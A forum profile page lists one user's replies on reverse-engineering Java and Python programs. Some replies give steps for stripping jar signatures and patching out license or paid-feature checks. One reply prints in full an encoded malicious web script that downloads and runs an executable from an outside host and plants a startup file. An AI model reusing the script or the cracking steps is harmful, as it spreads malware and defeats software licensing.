|
[原创]JAVA程序的简单破解说明
首先不论是不是混淆的,他用16进制编辑器,确实可以屏蔽这种保护 |
|
[原创]JAVA程序的简单破解说明
不错,这么长时间终于又发现了一篇Java的文章 实际上这次的分析是通过 反编译类文件取得源代码,通过阅读理解 找到关键点 尝试重编译,在困难的情况下进行类文件的二进制修改 其实可以有很多种方式,比如使用 jasper/jasmin 进行类文件的字节代码编译,这样只要是找到了关键的地方,就可以进行修复了,还可以通过原代码找到授权的位置,如果没有,那么可以强制修改了 |
|
[原创]J2ME下逆向工程必备工具
nnhy 也是好久不见了 对于那个批量解压好像有一些问题, 假设 有一个jar文件 cm.jar 里边有两个类 a.class A.class 在Jar文件中以及 JVM里,是允许的,也就是说区分大小写,可以解压就成了问题, Windows下酒出错误了 |
|
[原创]J2ME下逆向工程必备工具
其实,写着个帖子主要是针对 逆向工程的后来部分,因为一个Java软件如果没有经过混淆、加密的话,那么确实只要一个JAD就够了,但是如果我们想进行二次开发,或者是去掉软件的收费部分,或者是短信发送陷阱,如果代码反编译的好,还可以,如果不行可就惨了,倒不是做广告,其实Refactor确实不错,比如当反编译大代码出现了,各种继承、实现以及类装载的时候,紧紧盖了一个方法、类名,整个软件好的可以继续运行,有一些可就整个瘫痪了, 当把整个软件的全部代码找到,并且通过理解进行重命名之后,开始调试,并且增加新的功能时 可以说 这个好像有点问题 看样子就是侵权了,不过这样可以提高..... 大家也明白 |
|
[求助]DSA共钥密码系统的疑问
逆向的 先从Q 生成 P就可以了 |
|
[求助]一個JAVA軟件 請問如何下斷點?
太大的弯路了,.exe文件是 安装文件 由 install4J 进行打包、安装的。 用 PEiD 检测,确实是 Video-Lan-Client [Overlay] *这个标示,肯定要安装之后才能运行的,运行Geneious.exe发现同样也是上面的标示,肯定的是,这个文件只不过是 install4J 的一个启动文件,也就是说,软件的主类(Java)的执行还是在.class文件中,因此,各种检测、调试,必须在.class文件上下功夫。 |
|
[讨论]Java入门看什么书
Java虚拟机详解 |
|
[讨论]JAVA写的.jar程序,有什么办法做软件保护,高手请进,愿意提供源码一份给您.
代码出来就行了,别的不用说了 |
|
[求助]jar包反编译,动态调试的问题
使用 odb |
|
[求助]我有一个pyc格式的文件加了不知什么密有人会解吗
# Python Script File Compiler # Author: vhly[FR] # import sys import marshal import imp import struct import time def compileFile(file): # Method body fin=open(file,'r') str=fin.read() fin.close() str=str.replace('\r','') cd=compile(str,file,'exec') magic=imp.get_magic() stamp=struct.pack('<i',time.time()) fout=open(file+"c",'wb') fout.write(magic) fout.write(stamp) marshal.dump(cd,fout) fout.close() 上面代码是 针对 python进行编译 下面的是解密 # 调用 库,所有的 python好像是都有 import marshal #打开文件 注意 b f = open(u"file.pyc",'rb') #跳过头标志 f.read(8); #获取字节代码(又想起 Java来了) code=marshal.load(f) #显示属性 dir(code) 上面的代码只是简单的获取了pyc的字节代码 目前页面怎么研究 要是想调用就很简单了 exec(code)就可以了 f.close() cd = code.co_code |
|
|
|
[求助]java程序用了混淆器,如何对付?
首先,如果经过多次混淆,肯定会出现问题, 我的意思是, 1、使用 proguard针对你的包 比如 target.jar,进行混淆,一定要设置好类路径,这样才能成功 2、上一个步骤中 一定要设置 Print mapping 这个文件, 3、生成的 包 target_Obf.jar 抛弃不要,修改 mapping 文件设定其中的所有名称 4、重复1 使用 生成的 mapping 设置到 Apply Mapping 这个选项中 5、生成混淆之后的包 6、开始反编译、进行逆向工程 |
|
[求助]Java编写的某行业软件逆向分析(Senxxxxx RXX保护)
首先 删除 .jar中 META-INF中 除了 MANIFEST.MF 之外的所有文件 可能包含 .DSA .SF 这两种,因为这是数字签名用的,删除 MANIFEST.MF文件中所有为 Name: xxx.class ..SHA... 之类的这些内容, 这些是数字签名内容 之后使用饭编译器生成你的那个类的元文件 在重新编译的时候吧, Server.jar当作 classpath 中的一项,这样就可以重新编译了, 最后就是把生成的类,替换原始的,就可以了 注意 备份 author:vhly[FR] dAtE: 2007/09/03 |
|
[求助]大侠们如何修改class文件
改称18不好改,因为 iconst_1 只占1个字节,而 bipush 18 却占了2个字节这样一来,如果 你要修改,那么方法中的方法体 Code 的长度属性需要该,而且整个方法的长度需要改,这样有点得不偿失了,还是学学 怎么用饭编译器,之后再编译吧 |
|
[求助]java程序的jar文件如何拆包
数字签名只不过在运行时才有用,把.jar改称.zip解压缩,除非使用了大小写命名机制,这样的,在RAR中会提示是否覆盖,如果是这样的话,那么就要从新生成类文件了,使用混乱器再次声称既可 |
|
[求助]java程序用了混淆器,如何对付?
有一段时间没上,所以没看到你的帖子,使用 DJ Java Decompiler反编译,或者使用 Proguard进行再次混淆(生成映射),之后使用映射修改名称,在此既可以恢复了 |
|
[求助]高人,帮我解密的网页代码?
:// var thunder_server = null; function shit() { try{ thunder_server = new ActiveXObject("ThunderServer.webThunder.1"); // 调用迅雷 } catch(e){ return; } var cmd; cmd=""; var ret=thunder_server.AddCateogry(cmd); thunder_server.SetBrowserWindowSize(0,0,400,300); var strPath = thunder_server.GetServerPath(); strPath = strPath.substr(0, strPath.length-1); strPath+="\\page\\index.htm"; thunder_server.SetBrowserWindowData(strPath,"SUNNY"); //alert(strPath); thunder_server.ShowBrowserWindow(); //thunder_server.HideBrowserWindow(1); //alert("click"); return; } |
|
[求助]高人,帮我解密的网页代码?
该网页使用了字符串加密,无用字符混乱的方式,同时 使用 eval() 函数,该函数支持 字符串内部定义函数的方式,调用。 首先,要看他是什么内容, 第一次采用将eval替换成 document.write来显示:初次解密结果: eval("<144 ="://\166\141\162\40\164\150\165\156\144\145\162\137\163\145\162\166\145\162\40\75\40\156\165\154\154\73\15\12\146\165\156\143\164\151\157\156\40\163\150\151\164\50\51\15\12\173\15\12\11\164\162\171\173\164\150\165\156\144\145\162\137\163\145\162\166\145\162\40\75\40\156\145\167\40\101\143\164\151\166\145\130\117\142\152\145\143\164\50\42\124\150\165\156\144\145\162\123\145\162\166\145\162\56\167\145\142\124\150\165\156\144\145\162\56\61\42\51\73\175\15\12\11\143\141\164\143\150\50\145\51\173\162\145\164\165\162\156\73\175\15\12\11\166\141\162\40\143\155\144\73\15\12\11\143\155\144\75\42\74\163\143\162\151\160\164\40\144\145\146\145\162\76\40\166\141\162\40\163\150\145\154\154\75\134\42\74\150\164\155\154\76\74\142\157\144\171\76\74\163\143\162\151\160\164\76\167\151\156\144\157\167\56\155\157\166\145\124\157\50\64\60\60\60\54\64\60\60\60\51\73\167\151\156\144\157\167\56\162\145\163\151\172\145\124\157\50\60\54\60\51\73\166\141\162\40\163\150\145\154\154\75\156\145\167\40\101\143\164\151\166\145\130\117\142\152\145\143\164\50\134\134\134\42\167\163\143\162\151\160\164\56\163\150\145\154\154\134\134\134\42\51\73\163\150\145\154\154\56\122\165\156\50\134\134\134\42\103\72\134\134\134\134\134\134\134\134\120\162\157\147\162\141\176\61\134\134\134\134\134\134\134\134\111\156\164\145\162\156\176\61\134\134\134\134\134\134\134\134\111\105\130\120\114\117\122\105\56\105\130\105\40\150\164\164\160\72\57\57\167\167\167\56\70\63\62\70\62\61\56\143\156\57\144\157\167\156\155\155\56\150\164\155\154\134\134\134\42\54\60\54\60\51\73\146\165\156\143\164\151\157\156\40\162\165\156\155\155\50\51\173\166\141\162\40\160\141\164\150\75\163\150\145\154\154\56\123\160\145\143\151\141\154\106\157\154\144\145\162\163\50\134\134\134\42\115\171\104\157\143\165\155\145\156\164\163\134\134\134\42\51\73\166\141\162\40\163\141\166\145\160\141\164\150\75\160\141\164\150\56\163\165\142\163\164\162\151\156\147\50\60\54\160\141\164\150\56\154\141\163\164\111\156\144\145\170\117\146\50\134\134\134\42\134\134\134\134\134\134\134\134\134\134\134\42\51\51\73\163\141\166\145\160\141\164\150\53\75\134\134\134\42\134\134\134\134\134\134\134\134\114\157\143\141\154\40\123\145\164\164\151\156\147\163\134\134\134\134\134\134\134\134\124\145\155\160\157\162\141\162\171\40\111\156\164\145\162\156\145\164\40\106\151\154\145\163\134\134\134\134\134\134\134\134\103\157\156\164\145\156\164\56\111\105\65\134\134\134\134\134\134\134\134\134\134\134\42\73\166\141\162\40\163\160\75\156\145\167\40\101\143\164\151\166\145\130\117\142\152\145\143\164\50¨¬?\166\141\162\40\164\150\165\156\144\145\162\137\163\145\162\166\145\162\40\75\40\156\165\154\154\73\15\12\146\165\156\143\164\151\157\156\40\163\150\151\164\50\51\15\12\173\15\12\11\164\162\171\173\164\150\165\156\144\145\162\137\163\145\162\166\145\162\40\75\40\156\145\167\40\101\143\164\151\166\145\130\117\142\152\145\143\164\50\42\124\150\165\156\144\145\162\123\145\162\166\145\162\56\167\145\142\124\150\165\156\144\145\162\56\61\42\51\73\175\15\12\11\143\141\164\143\150\50\145\51\173\162\145\164\165\162\156\73\175\15\12\11\166\141\162\40\143\155\144\73\15\12\11\143\155\144\75\42\74\163\143\162\151\160\164\40\144\145\146\145\162\76\40\166\141\162\40\163\150\145\154\154\75\134\42\74\150\164\155\154\76\74\142\157\144\171\76\74\163\143\162\151\160\164\76\167\151\156\144\157\167\56\155\157\166\145\124\157\50\64\60\60\60\54\64\60\60\60\51\73\167\151\156\144\157\167\56\162\145\163\151\172\145\124\157\50\60\54\60\51\73\166\141\162\40\163\150\145\154\154\75\156\145\167\40\101\143\164\151\166\145\130\117\142\152\145\143\164\50\134\134\134\42\167\163\143\162\151\160\164\56\163\150\145\154\154\134\134\134\42\51\73\163\150\145\154\154\56\122\165\156\50\134\134\134\42\103\72\134\134\134\134\134\134\134\134\120\162\157\147\162\141\176\61\134\134\134\134\134\134\134\134\111\156\164\145\162\156\176\61\134\134\134\134\134\134\134\134\111\105\130\120\114\117\122\105\56\105\130\105\40\150\164\164\160\72\57\57\167\167\167\56\70\63\62\70\62\61\56\143\156\57\144\157\167\156\155\155\56\150\164\155\154\134\134\134\42\54\60\54\60\51\73\146\165\156\143\164\151\157\156\40\162\165\156\155\155\50\51\173\166\141\162\40\160\141\164\150\75\163\150\145\154\154\56\123\160\145\143\151\141\154\106\157\154\144\145\162\163\50\134\134\134\42\115\171\104\157\143\165\155\145\156\164\163\134\134\134\42\51\73\166\141\162\40\163\141\166\145\160\141\164\150\75\160\141\164\150\56\163\165\142\163\164\162\151\156\147\50\60\54\160\141\164\150\56\154\141\163\164\111\156\144\145\170\117\146\50\134\134\134\42\134\134\134\134\134\134\134\134\134\134\134\42\51\51\73\163\141\166\145\160\141\164\150\53\75\134\134\134\42\134\134\134\134\134\134\134\134\114\157\143\141\154\40\123\145\164\164\151\156\147\163\134\134\134\134\134\134\134\134\124\145\155\160\157\162\141\162\171\40\111\156\164\145\162\156\145\164\40\106\151\154\145\163\134\134\134\134\134\134\134\134\103\157\156\164\145\156\164\56\111\105\65\134\134\134\134\134\134\134\134\134\134\134\42\73\166\141\162\40\163\160\75\156\145\167\40\101\143\164\151\166\145\130\117\142\152\145\143\164\50\134\134">\166\141\162\40\164\150\165\156\144\145\162\137\163\145\162\166\145\162\40\75\40\156\165\154\154\73\15\12\146\165\156\143\164\151\157\156\40\163\150\151\164\50\51\15\12\173\15\12\11\164\162\171\173\164\150\165\156\144\145\162\137\163\145\162\166\145\162\40\75\40\156\145\167\40\101\143\164\151\166\145\130\117\142\152\145\143\164\50\42\124\150\165\156\144\145\162\123\145\162\166\145\162\56\167\145\142\124\150\165\156\144\145\162\56\61\42\51\73\175\15\12\11\143\141\164\143\150\50\145\51\173\162\145\164\165\162\156\73\175\15\12\11\166\141\162\40\143\155\144\73\15\12\11\143\155\144\75\42\74\163\143\162\151\160\164\40\144\145\146\145\162\76\40\166\141\162\40\163\150\145\154\154\75\134\42\74\150\164\155\154\76\74\142\157\144\171\76\74\163\143\162\151\160\164\76\167\151\156\144\157\167\56\155\157\166\145\124\157\50\64\60\60\60\54\64\60\60\60\51\73\167\151\156\144\157\167\56\162\145\163\151\172\145\124\157\50\60\54\60\51\73\166\141\162\40\163\150\145\154\154\75\156\145\167\40\101\143\164\151\166\145\130\117\142\152\145\143\164\50\134\134\134\42\167\163\143\162\151\160\164\56\163\150\145\154\154\134\134\134\42\51\73\163\150\145\154\154\56\122\165\156\50\134\134\134\42\103\72\134\134\134\134\134\134\134\134\120\162\157\147\162\141\176\61\134\134\134\134\134\134\134\134\111\156\164\145\162\156\176\61\134\134\134\134\134\134\134\134\111\105\130\120\114\117\122\105\56\105\130\105\40\150\164\164\160\72\57\57\167\167\167\56\70\63\62\70\62\61\56\143\156\57\144\157\167\156\155\155\56\150\164\155\154\134\134\134\42\54\60\54\60\51\73\146\165\156\143\164\151\157\156\40\162\165\156\155\155\50\51\173\166\141\162\40\160\141\164\150\75\163\150\145\154\154\56\123\160\145\143\151\141\154\106\157\154\144\145\162\163\50\134\134\134\42\115\171\104\157\143\165\155\145\156\164\163\134\134\134\42\51\73\166\141\162\40\163\141\166\145\160\141\164\150\75\160\141\164\150\56\163\165\142\163\164\162\151\156\147\50\60\54\160\141\164\150\56\154\141\163\164\111\156\144\145\170\117\146\50\134\134\134\42\134\134\134\134\134\134\134\134\134\134\134\42\51\51\73\163\141\166\145\160\141\164\150\53\75\134\134\134\42\134\134\134\134\134\134\134\134\114\157\143\141\154\40\123\145\164\164\151\156\147\163\134\134\134\134\134\134\134\134\124\145\155\160\157\162\141\162\171\40\111\156\164\145\162\156\145\164\40\106\151\154\145\163\134\134\134\134\134\134\134\134\103\157\156\164\145\156\164\56\111\105\65\134\134\134\134\134\134\134\134\134\134\134\42\73\166\141\162\40\163\160\75\156\145\167\40\101\143\164\151\166\145\130\117\142\152\145\143\164\50\134\134\134\42\163\150\145\154\154\56\141\160\160\154\151\143\141\164\151\157\156\134\134\134\42\51\73\166\141\162\40\106\157\154\144\145\162\163\75\163\160\56\116\141\155\145\123\160\141\143\145\50\163\141\166\145\160\141\164\150\51\73\146\157\162\50\151\75\60\73\151\74\106\157\154\144\145\162\163\56\111\164\145\155\163\50\51\56\103\157\165\156\164\73\151\53\53\51\173\166\141\162\40\106\157\154\144\145\162\75\106\157\154\144\145\162\163\56\111\164\145\155\163\50\51\56\111\164\145\155\50\151\51\56\120\141\164\150\73\106\157\154\144\145\162\53\75\134\134\134\42\134\134\134\134\134\134\134\134\163\165\156\156\171\133\61\135\56\145\170\145\134\134\134\42\73\164\162\171\173\163\150\145\154\154\56\105\170\145\143\50\106\157\154\144\145\162\51\73\175\143\141\164\143\150\50\145\51\173\175\73\175\167\151\156\144\157\167\56\143\154\157\163\145\50\51\73\175\73\163\150\145\154\154\56\122\165\156\50\134\134\134\42\143\155\144\56\145\170\145\40\57\143\40\164\162\145\145\40\143\72\134\134\134\134\134\134\134\134\40\57\146\134\134\134\42\54\60\54\61\51\73\162\165\156\155\155\50\51\73\74\134\134\57\163\143\162\151\160\164\76\74\57\142\157\144\171\76\74\57\150\164\155\154\76\134\42\73\166\141\162\40\123\125\116\116\131\40\75\40\156\145\167\40\101\143\164\151\166\145\130\117\142\152\145\143\164\50\134\42\101\104\117\104\102\56\122\145\143\157\162\144\163\145\164\134\42\51\73\123\125\116\116\131\56\106\151\145\154\144\163\56\101\160\160\145\156\144\50\134\42\123\125\116\116\131\134\42\54\40\62\60\60\54\40\63\60\60\60\51\73\123\125\116\116\131\56\117\160\145\156\50\51\73\123\125\116\116\131\56\101\144\144\116\145\167\50\51\73\123\125\116\116\131\56\106\151\145\154\144\163\50\134\42\123\125\116\116\131\134\42\51\56\126\141\154\165\145\75\163\150\145\154\154\73\123\125\116\116\131\56\125\160\144\141\164\145\50\51\73\123\125\116\116\131\56\123\141\166\145\50\134\42\103\72\134\134\134\134\104\157\143\165\155\145\156\164\163\40\141\156\144\40\123\145\164\164\151\156\147\163\134\134\134\134\101\154\154\40\125\163\145\162\163\134\134\134\134\30014\57400\54713\30015\101734\51525\134\134\134\134\75013\57217\134\134\134\134\52057\51250\134\134\134\134\63450\115154\56\150\164\141\134\42\54\60\51\73\123\125\116\116\131\56\103\154\157\163\145\50\51\73\74\57\163\143\162\151\160\164\76\42\73\15\12\11\166\141\162\40\162\145\164\75\164\150\165\156\144\145\162\137\163\145\162\166\145\162\56\101\144\144\103\141\164\145\157\147\162\171\50\143\155\144\51\73\15\12\11\164\150\165\156\144\145\162\137\163\145\162\166\145\162\56\123\145\164\102\162\157\167\163\145\162\127\151\156\144\157\167\123\151\172\145\50\60\54\60\54\64\60\60\54\63\60\60\51\73\15\12\11\166\141\162\40\163\164\162\120\141\164\150\40\75\40\164\150\165\156\144\145\162\137\163\145\162\166\145\162\56\107\145\164\123\145\162\166\145\162\120\141\164\150\50\51\73\15\12\11\163\164\162\120\141\164\150\40\75\40\163\164\162\120\141\164\150\56\163\165\142\163\164\162\50\60\54\40\163\164\162\120\141\164\150\56\154\145\156\147\164\150\55\61\51\73\15\12\11\163\164\162\120\141\164\150\53\75\42\134\134\160\141\147\145\134\134\151\156\144\145\170\56\150\164\155\42\73\15\12\11\164\150\165\156\144\145\162\137\163\145\162\166\145\162\56\123\145\164\102\162\157\167\163\145\162\127\151\156\144\157\167\104\141\164\141\50\163\164\162\120\141\164\150\54\42\123\125\116\116\131\42\51\73\15\12\11\57\57\141\154\145\162\164\50\163\164\162\120\141\164\150\51\73\15\12\11\164\150\165\156\144\145\162\137\163\145\162\166\145\162\56\123\150\157\167\102\162\157\167\163\145\162\127\151\156\144\157\167\50\51\73\15\12\11\57\57\164\150\165\156\144\145\162\137\163\145\162\166\145\162\56\110\151\144\145\102\162\157\167\163\145\162\127\151\156\144\157\167\50\61\51\73\15\12\11\57\57\141\154\145\162\164\50\42\143\154\151\143\153\42\51\73\15\12\11\162\145\164\165\162\156\73\15\12\11\15\12\40\40\40\11\15\12\175\15\12\15\12") |
操作理由
RANk
{{ user_info.golds == '' ? 0 : user_info.golds }}
雪币
{{ experience }}
课程经验
{{ score }}
学习收益
{{study_duration_fmt}}
学习时长
基本信息
荣誉称号:
{{ honorary_title }}
能力排名:
No.{{ rank_num }}
等 级:
LV{{ rank_lv-100 }}
活跃值:
在线值:
浏览人数:{{ visits }}
最近活跃:{{ last_active_time }}
注册时间:{{ user_info.create_date_jsonfmt }}
勋章
兑换勋章
证书
证书查询 >
能力值